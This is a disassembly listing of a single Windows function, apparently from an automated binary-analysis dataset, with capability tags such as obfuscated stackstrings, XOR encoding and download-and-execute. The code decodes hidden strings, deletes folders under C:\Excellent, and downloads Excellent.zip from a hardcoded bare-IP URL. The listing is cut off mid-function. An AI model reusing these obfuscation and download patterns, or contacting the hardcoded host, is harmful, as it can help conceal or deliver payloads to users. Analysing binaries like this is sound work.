Function at 0x14000ace0
Capabilities:
Contain obfuscated stackstrings
Create http request
Delete file
Download and write a file
Encode data using xor
Execute command
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Set console window title
Set current directory
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1250]
mov eax, 0x1350
call fcn.14001be30
sub rsp, rax
movaps xmmword [rsp + 0x1340], xmm6
mov rax, qword [0x14002d010]
xor rax, rsp
mov qword [rbp + 0x1230], rax
xor r12d, r12d
mov dword [rsp + 0x48], r12d
movdqa xmm0, xmmword [0x140021e50]
movdqu xmmword [rbp + 0xc0], xmm0
mov dword [rbp + 0xd0], 0x100753c
mov ecx, r12d
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0xc0], al
inc rcx
cmp rcx, 0x12
jb 0x14000ad50
mov byte [rbp + 0xd3], r12b
mov qword [rbp + 0x570], r12
mov qword [rbp + 0x580], r12
mov qword [rbp + 0x588], setsockopt
mov byte [rbp + 0x570], r12b
mov r8d, setsockopt
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x570]
call fcn.140006350
nop
lea rcx, [rbp + 0x570]
cmp qword [rbp + 0x588], 0x10
cmovae rcx, qword [rbp + 0x570]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.1400093d0
test al, al
jne 0x14000da03
call fcn.140009860
test al, al
jne 0x14000da03
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xbc0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xbc0]
call fcn.140005210
nop
movdqa xmm0, xmmword [0x140021f10]
movdqu xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x38], 0x18236321
mov dword [rbp - 0x34], 0x53326709
mov dword [rbp - 0x30], 0x50335155
mov dword [rbp - 0x2c], 0x1003c08
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 0x1e
jb 0x14000ae30
mov byte [rbp - 0x29], 0
mov qword [rbp + 0x590], r12
mov qword [rbp + 0x5a0], r12
mov qword [rbp + 0x5a8], setsockopt
mov byte [rbp + 0x590], 0
mov r8d, 0x1e
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x590]
call fcn.140006350
nop
mov qword [rbp + 0x268], r12
mov qword [rbp + 0x278], r12
mov qword [rbp + 0x280], r12
mov rsi, qword [rbp + 0x5a0]
lea rdi, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0x10
cmovae rdi, qword [rbp + 0x590]
movabs r14, 0x7fffffffffffffff
cmp rsi, 0x10
jae 0x14000aecf
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x268], xmm0
mov ebx, 0xf
jmp 0x14000af3e
mov rbx, rsi
or rbx, 0xf
cmp rbx, r14
cmova rbx, r14
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000af19
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000da88
mov rcx, rax
call fcn.140017ff0
mov rcx, rax
test rax, rax
je 0x14000c059
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000af28
test rcx, rcx
je 0x14000af25
call fcn.140017ff0
jmp 0x14000af28
mov rax, r12
mov qword [rbp + 0x268], rax
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x278], rsi
mov qword [rbp + 0x280], rbx
lea r8, [rbp + 0x268]
lea rdx, [rbp + 0x5f0]
call fcn.14000fa80
nop
movdqa xmm0, xmmword [0x140021e90]
movdqa xmmword [rbp + 0x3f0], xmm0
movdqa xmm1, xmmword [0x140021ee0]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm0, xmmword [0x140021db0]
movdqa xmmword [rbp + 0x410], xmm0
movdqa xmm1, xmmword [0x140021f50]
movdqa xmmword [rbp + 0x420], xmm1
mov word [rbp + 0x430], 0xe2
mov byte [rbp + 0x432], 1
mov rcx, r12
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0x3f0], al
inc rcx
cmp rcx, 0x41
jb 0x14000afb3
mov byte [rbp + 0x432], 0
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2e8], setsockopt
mov r8d, 0x41
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x2d0]
call fcn.140006350
lea r8, [rbp + 0x2d0]
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0x560]
call fcn.140012dc0
nop
movdqa xmm0, xmmword [0x140021e50]
movdqu xmmword [rbp - 0x28], xmm0
mov dword [rbp - 0x18], 0x3537753c
mov dword [rbp - 0x14], 0x123e2c3f
mov dword [rbp - 0x10], 0x100708
mov byte [rbp - 0xc], 1
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 0x1b
jb 0x14000b050
mov byte [rbp - 0xc], 0
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2c0], r12
mov qword [rbp + 0x2c8], setsockopt
mov r8d, 0x1b
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x2b0]
call fcn.140006350
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x560]
call fcn.140012dc0
nop
movdqa xmm0, xmmword [0x140021e50]
movdqu xmmword [rbp - 8], xmm0
mov dword [rbp + 8], 0x3d35753c
mov dword [rbp + 0xc], 0x5293729
mov word [rbp + 0x10], setsockopt
mov byte [rbp + 0x12], 1
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx - 8], al
inc rcx
cmp rcx, 0x19
jb 0x14000b0e0
mov byte [rbp + 0x12], 0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x300], r12
mov qword [rbp + 0x308], setsockopt
mov r8d, 0x19
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x2f0]
call fcn.140006350
lea r8, [rbp + 0x2f0]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x560]
call fcn.140012dc0
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebx, eax
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xac0]
call sub.VCRUNTIME140.dll_memset
lea rsi, [0x140021378]
mov qword [rbp + 0xac0], rsi
lea r15, [0x140020e90]
mov qword [rbp + 0xad0], r15
lea rcx, [rbp + 0xb58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 0x7ff
xor r8d, r8d
lea rdx, [rbp + 0xad8]
lea rcx, [rbp + 0xac0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xac0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xac0], rdi
mov rax, qword [rbp + 0xac0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xabc], edx
lea rcx, [rbp + 0xad8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea r13, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xad8], r13
mov qword [rbp + 0xb40], r12
mov dword [rbp + 0xb48], r12d
lea rdx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0x10
cmovae rdx, qword [rbp + 0x590]
mov r8, qword [rbp + 0x5a0]
lea rcx, [rbp + 0xad0]
call fcn.14000f890
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rax, [rbp + 0x310]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x310], r12
mov qword [rbp + 0x320], r12
mov qword [rbp + 0x328], setsockopt
mov dword [rsp + 0x48], 0x17ff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rax
mov ecx, dword [rbp + 0xb48]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000b2d5
mov rax, qword [rbp + 0xb18]
mov r8, qword [rax]
test r8, r8
je 0x14000b2d5
mov rax, qword [rbp + 0xaf8]
mov rdx, qword [rax]
mov qword [rbp + 0x230], rdx
mov qword [rbp + 0x448], r8
cmp r8, qword [rbp + 0xb40]
cmovb r8, qword [rbp + 0xb40]
sub r8, rdx
mov qword [rbp + 0x238], r8
jmp 0x14000b321
test cl, 4
jne 0x14000b313
mov rax, qword [rbp + 0xb10]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000b313
mov rax, qword [rbp + 0xaf0]
mov rdx, qword [rax]
mov qword [rbp + 0x230], rdx
mov rax, qword [rbp + 0xb28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
mov qword [rbp + 0x238], r8
jmp 0x14000b321
mov r8, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x230]
test rdx, rdx
je 0x14000b333
lea rcx, [rbp + 0x310]
call fcn.140006350
nop
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x870]
call fcn.140012670
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5e0], r12
mov qword [rbp + 0x5e8], setsockopt
mov byte [rbp + 0x5d0], 0
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x620], r12
mov qword [rbp + 0x628], setsockopt
mov byte [rbp + 0x610], 0
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x8a0]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x8a0], rsi
mov qword [rbp + 0x8b0], r15
lea rcx, [rbp + 0x938]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 0x2fff
xor r8d, r8d
lea rdx, [rbp + 0x8b8]
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x8a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x8a0], rdi
mov rax, qword [rbp + 0x8a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x89c], edx
lea rcx, [rbp + 0x8b8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp + 0x8b8], r13
mov qword [rbp + 0x920], r12
mov dword [rbp + 0x928], r12d
movdqa xmm0, xmmword [0x140021f20]
movdqu xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [0x140021f00]
movdqu xmmword [rbp + 0x1a0], xmm1
mov dword [rbp + 0x1b0], 0x5d120f02
mov dword [rbp + 0x1b4], 0x71e43
mov word [rbp + 0x1b8], pe_nt_image_headers64
mov rcx, r12
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0x190], al
inc rcx
cmp rcx, 0x28
jb 0x14000b470
mov byte [rbp + 0x1b9], 0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x8b0]
call fcn.14000ede0
mov dword [rsp + 0x50], 0x253c2276
mov dword [rsp + 0x54], 0x1007329
mov rcx, r12
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 6
jb 0x14000b4b0
mov byte [rsp + 0x57], 0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x8b0]
call fcn.14000ede0
lea rdx, [rbp + 0x5f0]
cmp qword [rbp + 0x608], 0x10
cmovae rdx, qword [rbp + 0x5f0]
mov r8, qword [rbp + 0x600]
lea rcx, [rbp + 0x8b0]
call fcn.14000f890
mov dword [rsp + 0x58], 0x2b24266f
mov dword [rsp + 0x5c], 0x722024
mov byte [rsp + 0x60], 1
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 7
jb 0x14000b520
mov byte [rsp + 0x60], 0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x8b0]
call fcn.14000ede0
lea rdx, [rbp + 0x5d0]
cmp qword [rbp + 0x5e8], 0x10
cmovae rdx, qword [rbp + 0x5d0]
mov r8, qword [rbp + 0x5e0]
lea rcx, [rbp + 0x8b0]
call fcn.14000f890
mov dword [rsp + 0x68], 0x3f2a3a6f
mov dword [rsp + 0x6c], 0x2220393e
mov dword [rsp + 0x70], 0x1006f35
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 0xa
jb 0x14000b590
mov byte [rsp + 0x73], 0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x8b0]
call fcn.14000ede0
lea rdx, [rbp + 0x610]
cmp qword [rbp + 0x628], 0x10
cmovae rdx, qword [rbp + 0x610]
mov r8, qword [rbp + 0x620]
lea rcx, [rbp + 0x8b0]
call fcn.14000f890
lea rax, [rbp + 0x330]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x330], r12
mov qword [rbp + 0x340], r12
mov qword [rbp + 0x348], setsockopt
mov dword [rsp + 0x48], 0xafff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], rax
mov ecx, dword [rbp + 0x928]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000b664
mov rax, qword [rbp + 0x8f8]
mov r8, qword [rax]
test r8, r8
je 0x14000b664
mov rax, qword [rbp + 0x8d8]
mov rdx, qword [rax]
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x440], r8
cmp r8, qword [rbp + 0x920]
cmovb r8, qword [rbp + 0x920]
sub r8, rdx
mov qword [rbp + 0x20], r8
jmp 0x14000b6a4
test cl, 4
jne 0x14000b69c
mov rax, qword [rbp + 0x8f0]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000b69c
mov rax, qword [rbp + 0x8d0]
mov rdx, qword [rax]
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x908]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
mov qword [rbp + 0x20], r8
jmp 0x14000b6a4
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
test rdx, rdx
je 0x14000b6b6
lea rcx, [rbp + 0x330]
call fcn.140006350
nop
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x850]
call fcn.140008b40
nop
movdqa xmm0, xmmword [0x140021e70]
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x60], 0x323e3335
mov word [rbp + 0x64], 0x29
mov byte [rbp + 0x66], 1
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0x50], al
inc rcx
cmp rcx, 0x15
jb 0x14000b6f0
mov byte [rbp + 0x66], 0
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], setsockopt
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x130]
call fcn.140006350
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rdx, [rbp + 0x890]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x1f4
mov r9d, 0x384
mov r8d, dword [rbp + 0x894]
mov edx, dword [rbp + 0x890]
mov rcx, rbx
call qword [sym.imp.USER32.dll_MoveWindow]
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x14000b7d6
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b7d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bcc6
call fcn.140018284
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], setsockopt
mov byte [rbp + 0x130], 0
movdqa xmm0, xmmword [0x140021f30]
movdqu xmmword [rbp + 0x1e8], xmm0
movdqa xmm1, xmmword [0x140021da0]
movdqu xmmword [rbp + 0x1f8], xmm1
mov dword [rbp + 0x208], 0x1c45021a
mov dword [rbp + 0x20c], 0x1001e05
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0x1e8], al
inc rcx
cmp rcx, 0x26
jb 0x14000b830
mov byte [rbp + 0x20f], 0
mov qword [rbp + 0x350], r12
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], setsockopt
mov r8d, 0x26
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x350]
call fcn.140006350
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x7b0]
call fcn.140008b40
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rax
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x5b0]
call fcn.14000aad0
nop
mov rdx, qword [rbp + 0x5b0]
cmp qword [rdx + 0x18], 0x10
jb 0x14000b8c8
mov rdx, qword [rdx]
lea rcx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rcx, qword [rbp + 0x690]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14000b95c
mov rdx, qword [rbp + 0x5b0]
add rdx, 0x20
cmp qword [rdx + 0x18], 0x10
jb 0x14000b8ff
mov rdx, qword [rdx]
lea rcx, [rbp + 0x670]
cmp qword [rbp + 0x688], 0x10
cmovae rcx, qword [rbp + 0x670]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14000b95c
mov rdx, qword [rbp + 0x5b0]
add rdx, 0x40
cmp qword [rdx + 0x18], 0x10
jb 0x14000b936
mov rdx, qword [rdx]
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rcx, qword [rbp + 0x650]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14000b95c
mov bl, 1
jmp 0x14000b95e
xor bl, bl
movdqa xmm0, xmmword [0x140021e40]
movdqu xmmword [rbp + 0x68], xmm0
mov dword [rbp + 0x78], 0x28353f35
mov word [rbp + 0x7c], 0x7c
mov byte [rbp + 0x7e], 1
mov rcx, r12
nop
lea eax, [rcx + 0x49]
xor byte [rbp + rcx + 0x68], al
inc rcx
cmp rcx, 0x15
jb 0x14000b980
mov byte [rbp + 0x7e], 0
mov qword [rbp + 0x370], r12
mov qword [rbp + 0x380], r12
mov qword [rbp + 0x388], setsockopt
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x370]
call fcn.140006350
lea rdx, [rbp + 0x370]
call fcn.1400130a0
mov r13, 0xffffffffffffffff
test bl, bl
je 0x14000c67e
call fcn.1400093d0
test al, al
jne 0x14000c9df
call fcn.140009860
test al, al
jne 0x14000c9df
lea rcx, str.C:_Excellent_java
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Excellent_game_libraries
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Excellent_game_natives
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Excellent_game_assets
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rsp + 0x78], 0x2d2f3a1c
mov dword [rsp + 0x7c], 0x37212739
mov dword [rbp - 0x80], 0x7d7c7f
mov byte [rbp - 0x7c], 1
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x49]
xor byte [rsp + rcx + 0x78], al
inc rcx
cmp rcx, 0xb
jb 0x14000ba50
mov byte [rbp - 0x7c], 0
mov qword [rbp + 0x390], r12
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x3a8], setsockopt
mov r8d, 0xb
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x390]
call fcn.140006350
mov r14d, 0xff6fff
mov dword [rsp + 0x48], r14d
lea rdx, [rbp + 0x390]
call fcn.1400130a0
mov ebx, r13d
mov dword [rbp + 0x564], 1
mov dword [rbp + 0x568], r12d
mov dword [rbp + 0x5c8], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140021494]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1d0], r12
mov qword [rbp + 0x1d8], setsockopt
mov r8d, 0x2a
lea rdx, str.http:__51.83.194.58_Excellent_download.php
lea rcx, [rbp + 0x1c0]
call fcn.140006350
lea rcx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae rcx, qword [rbp + 0x1c0]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x14000bb7e
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bb79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x1d0], r12
mov qword [rbp + 0x1d8], setsockopt
mov byte [rbp + 0x1c0], 0
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__51.83.194.58_Excellent_download.php
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
mov qword [rbp + 0x288], rax
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x5c8]
lea r8, [rbp + 0x568]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, str.Excellent.zip
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
mov qword [rbp + 0x1e0], rax
cmp rax, r13
jne 0x14000c1b3
mov rcx, qword [rbp + 0x5b0]
test rcx, rcx
je 0x14000bc8e
mov rdx, qword [rbp + 0x5b8]
call fcn.14000f650
mov rdx, qword [rbp + 0x5c0]
mov rcx, qword [rbp + 0x5b0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bc77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bc77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], r12
mov rdx, qword [rbp + 0x7c8]
cmp rdx, 0x10
jb 0x14000bcd2
inc rdx
mov rcx, qword [rbp + 0x7b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bccd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bccd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x7c0], r12
mov qword [rbp + 0x7c8], setsockopt
mov byte [rbp + 0x7b0], 0
mov rdx, qword [rbp + 0x868]
cmp rdx, 0x10
jb 0x14000bd2f
inc rdx
mov rcx, qword [rbp + 0x850]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bd2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bd2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x860], r12
mov qword [rbp + 0x868], setsockopt
mov byte [rbp + 0x850], 0
mov rax, qword [rbp + 0x8a0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x8a0], rbx
mov rax, qword [rbp + 0x8a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x89c], edx
lea rcx, [rbp + 0x8b8]
call fcn.140005a20
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x938]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x628]
cmp rdx, 0x10
jb 0x14000bde5
inc rdx
mov rcx, qword [rbp + 0x610]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bde0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bde0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x620], r12
mov qword [rbp + 0x628], setsockopt
mov byte [rbp + 0x610], 0
mov rdx, qword [rbp + 0x5e8]
cmp rdx, 0x10
jb 0x14000be42
inc rdx
mov rcx, qword [rbp + 0x5d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000be3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x5e0], r12
mov qword [rbp + 0x5e8], setsockopt
mov byte [rbp + 0x5d0], 0
mov rdx, qword [rbp + 0x888]
cmp rdx, 0x10
jb 0x14000be9f
inc rdx
mov rcx, qword [rbp + 0x870]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000be9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x880], r12
mov qword [rbp + 0x888], setsockopt
mov byte [rbp + 0x870], 0
mov rax, qword [rbp + 0xac0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xac0], rbx
mov rax, qword [rbp + 0xac0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xabc], edx
lea rcx, [rbp + 0xad8]
call fcn.140005a20
lea rcx, [rbp + 0xae0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xb58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x668]
cmp rdx, 0x10
jb 0x14000bf4e
inc rdx
mov rcx, qword [rbp + 0x650]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bf49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bf49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018284
mov qword [rbp + 0x660], r12
mov qword [rbp + 0x668], setsockopt
mov byte [rbp + 0x650], 0
mov rdx, qword [rbp + 0x688]
cmp rdx, 0x10
jb 0x14000bfab
inc rdx
mov rcx, qword [rbp + 0x670]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bfa6
add rdx, 0x27
